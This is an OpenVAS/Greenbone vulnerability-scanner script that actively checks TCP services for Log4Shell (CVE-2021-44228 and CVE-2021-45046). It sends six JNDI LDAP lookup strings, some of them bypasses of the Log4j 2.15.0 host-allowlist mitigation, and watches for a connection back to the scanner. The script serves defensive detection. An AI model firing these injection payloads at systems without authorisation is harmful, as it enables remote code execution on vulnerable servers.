Apache Log4j 2.0.x Multiple Vulnerabilities (TCP, Log4Shell) - Active Check

# SPDX-FileCopyrightText: 2021 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.117824");
  script_version("2026-04-17T15:51:27+0000");
  script_cve_id("CVE-2021-44228", "CVE-2021-45046");
  script_tag(name:"last_modification", value:"2026-04-17 15:51:27 +0000 (Fri, 17 Apr 2026)");
  script_tag(name:"creation_date", value:"2021-12-13 09:21:22 +0000 (Mon, 13 Dec 2021)");
  script_tag(name:"cvss_base", value:"9.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2021-12-14 01:15:00 +0000 (Tue, 14 Dec 2021)");
  script_name("Apache Log4j 2.0.x Multiple Vulnerabilities (TCP, Log4Shell) - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2021 Greenbone AG");
  script_family("General");
  script_dependencies("find_service.nasl", "find_service1.nasl", "find_service2.nasl",
                      "secpod_open_tcp_ports.nasl");
  script_mandatory_keys("TCP/PORTS");

  script_xref(name:"URL", value:"https://logging.apache.org/log4j/2.x/security.html");
  script_xref(name:"URL", value:"https://issues.apache.org/jira/browse/LOG4J2-3198");
  script_xref(name:"URL", value:"https://issues.apache.org/jira/browse/LOG4J2-3201");
  script_xref(name:"URL", value:"https://github.com/apache/logging-log4j2/pull/607");
  script_xref(name:"URL", value:"https://github.com/apache/logging-log4j2/pull/608");
  script_xref(name:"URL", value:"https://github.com/advisories/GHSA-jfh8-c2jp-5v3q");
  script_xref(name:"URL", value:"https://github.com/advisories/GHSA-7rjr-3q55-vv33");
  script_xref(name:"URL", value:"https://www.openwall.com/lists/oss-security/2021/12/10/1");
  script_xref(name:"URL", value:"https://www.openwall.com/lists/oss-security/2021/12/14/4");
  script_xref(name:"URL", value:"https://www.lunasec.io/docs/blog/log4j-zero-day/");
  script_xref(name:"URL", value:"https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/");
  script_xref(name:"URL", value:"https://www.cyberkendra.com/2021/12/worst-log4j-rce-zeroday-dropped-on.html");
  script_xref(name:"URL", value:"https://github.com/YfryTchsGD/Log4jAttackSurface");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html");
  script_xref(name:"URL", value:"https://github.com/tangxiaofeng7/apache-log4j-poc");
  script_xref(name:"URL", value:"https://github.com/0x0021h/apache-log4j-rce");
  script_xref(name:"URL", value:"https://securitylab.github.com/advisories/GHSL-2021-1054_GHSL-2021-1055_log4j2/");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");

  script_tag(name:"summary", value:"Apache Log4j is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted TCP request and checks if the target is
  connecting back to the scanner host.

  Note: For a successful detection of this flaw the target host needs to be able to reach the
  scanner host on a TCP port randomly generated during the runtime of the VT (currently in the range
  of 10000-32000).");

  script_tag(name:"insight", value:"The following vulnerabilities exist:

  - CVE-2021-44228: Apache Log4j2 JNDI features used in configuration, log messages, and parameters
  do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who
  can control log messages or log message parameters can execute arbitrary code loaded from LDAP
  servers when message lookup substitution is enabled. This vulnerability is dubbed 'Log4Shell'.

  - CVE-2021-45046: Denial of Service (DoS) and a possible remote code execution (RCE) in certain
  non-default configurations.");

  script_tag(name:"affected", value:"Apache Log4j versions 2.0.x.");

  script_tag(name:"solution", value:"Update Apache Log4j to version 2.12.2, 2.16.0 or later.

  If Apache Log4j is embedded into a specific product please contact the vendor of the product for
  additional info on the availability of updates.");

  script_tag(name:"qod_type", value:"exploit");
  script_tag(name:"solution_type", value:"VendorFix");

  # nb: On a system having multiple TCP ports open the run time of 30 seconds for each port
  # (6 payloads * 5 second timeout in send_capture) might pile up.
  script_timeout(900);

  exit(0);
}

include("port_service_func.inc");
include("misc_func.inc");
include("list_array_func.inc");
include("pcap_func.inc");

port = tcp_get_all_port();

# nb: HTTP services are already covered via gb_log4j_CVE-2021-44228_http_active.nasl
if( service_verify( port:port, proto:"www" ) )
  exit( 0 );

ownhostname = this_host_name();
ownip = this_host();
src_filter = pcap_src_ip_filter_from_hostnames();
# nb:
# - We're currently using 10000-32000 to not get in conflict with the ephemeral port range used by
#   most standard Linux/Unix operating systems. If we're choosing a port of that range we might have
#   false positives due to race conditions (target is sending back a response to a request of
#   another VT for which the scanner had chosen the same source port).
# - In this case this is also done outside of the foreach loop as we might have various open TCP
#   ports and we don't want to use a separate random port for every single request and for each dir.
#   This is done like this because we might exceed the random port list on multiple ports which
#   could cause false positives or similar if the same random port is used by another VT.
rnd_port = rand_int_range( min:10000, max:32000 );
dst_filter = string( "(dst host ", ownip, " or dst host ", ownhostname, ")" );
filter = string( "tcp and dst port ", rnd_port, " and ", src_filter, " and ", dst_filter );
# nb: We're only interested in TCP SYN packets and want to ignore all others (e.g. ACK, RST, ...)
filter = string( filter, " and tcp[tcpflags] & (tcp-syn) != 0" );

payloads = make_list(
  # Original PoC for CVE-2021-44228
  "${jndi:ldap://" + ownip + ":" + rnd_port + "/a}",
  "${jndi:ldap://" + ownhostname + ":" + rnd_port + "/a}",
  # Bypass of the "allowedLdapHost" mitigation in Log4j 2.15.0:
  # https://twitter.com/marcioalm/status/1471740771581652995
  # Some reports on the net says that a valid hostname needs to be given after "#" but we check the
  # IP as well just to be sure...
  "${jndi:ldap://127.0.0.1#" + ownip + ":" + rnd_port + "/a}",
  "${jndi:ldap://127.0.0.1#" + ownhostname + ":" + rnd_port + "/a}",
  # Also try with the localhost variant just to be sure...
  "${jndi:ldap://localhost#" + ownip + ":" + rnd_port + "/a}",
  "${jndi:ldap://localhost#" + ownhostname + ":" + rnd_port + "/a}"
);

foreach payload( payloads ) {

  # nb: Always keep open_sock_tcp() after the first call of a function forking on multiple hostnames
  # / vhosts (e.g. http_get(), http_post_put_req(), http_host_name(), get_host_name(), ...). Reason:
  # If the fork would be done after calling open_sock_tcp() the child's would share the same socket
  # causing race conditions and similar.
  #
  # In this case this also includes pcap_src_ip_filter_from_hostnames() from above.
  if( ! soc = open_sock_tcp( port ) )
    continue;

  res = send_capture( socket:soc, data:payload + '\r\n', timeout:5, pcap_filter:filter );
  close( soc );

  if( ! res )
    continue;

  # nb: See note above on the reason for this check. This is just another fallback if something is
  # going wrong in the send_capture() call above.
  flags = get_tcp_element( tcp:res, element:"th_flags" );
  if( flags & TH_SYN ) {

    # nb: We need to call the correct get_ip_*element() function below depending on the IP version
    # of the received IP packet.
    ip_vers_hex = hexstr( res[0] );
    if( ip_vers_hex[0] == 4 ) {
      src_ip = get_ip_element( ip:res, element:"ip_src" );
      dst_ip = get_ip_element( ip:res, element:"ip_dst" );
    } else if( ip_vers_hex[0] == 6 ) {
      src_ip = get_ipv6_element( ipv6:res, element:"ip6_src" );
      dst_ip = get_ipv6_element( ipv6:res, element:"ip6_dst" );
    }

    if( ! src_ip )
      src_ip = "N/A";

    if( ! dst_ip )
      dst_ip = "N/A";

    report  = 'By sending the following request:\n\n';
    report += payload + '\n\n';
    report += 'it was possible to trigger the vulnerability and make the remote host send a request back to the scanner host (Details on the received packet follows).\n\n';
    report += "Destination IP:   " + dst_ip + ' (receiving IP on scanner host side)\n';
    report += "Destination port: " + rnd_port + '/tcp (receiving port on scanner host side)\n';
    report += "Originating IP:   " + src_ip + " (originating IP from target host side)";
    security_message( port:port, data:report );
    exit( 0 );
  }
}

# nb: Don't use exit(99); as we can't be sure that the target isn't affected if e.g. the scanner
# host isn't reachable by the target host.
exit( 0 );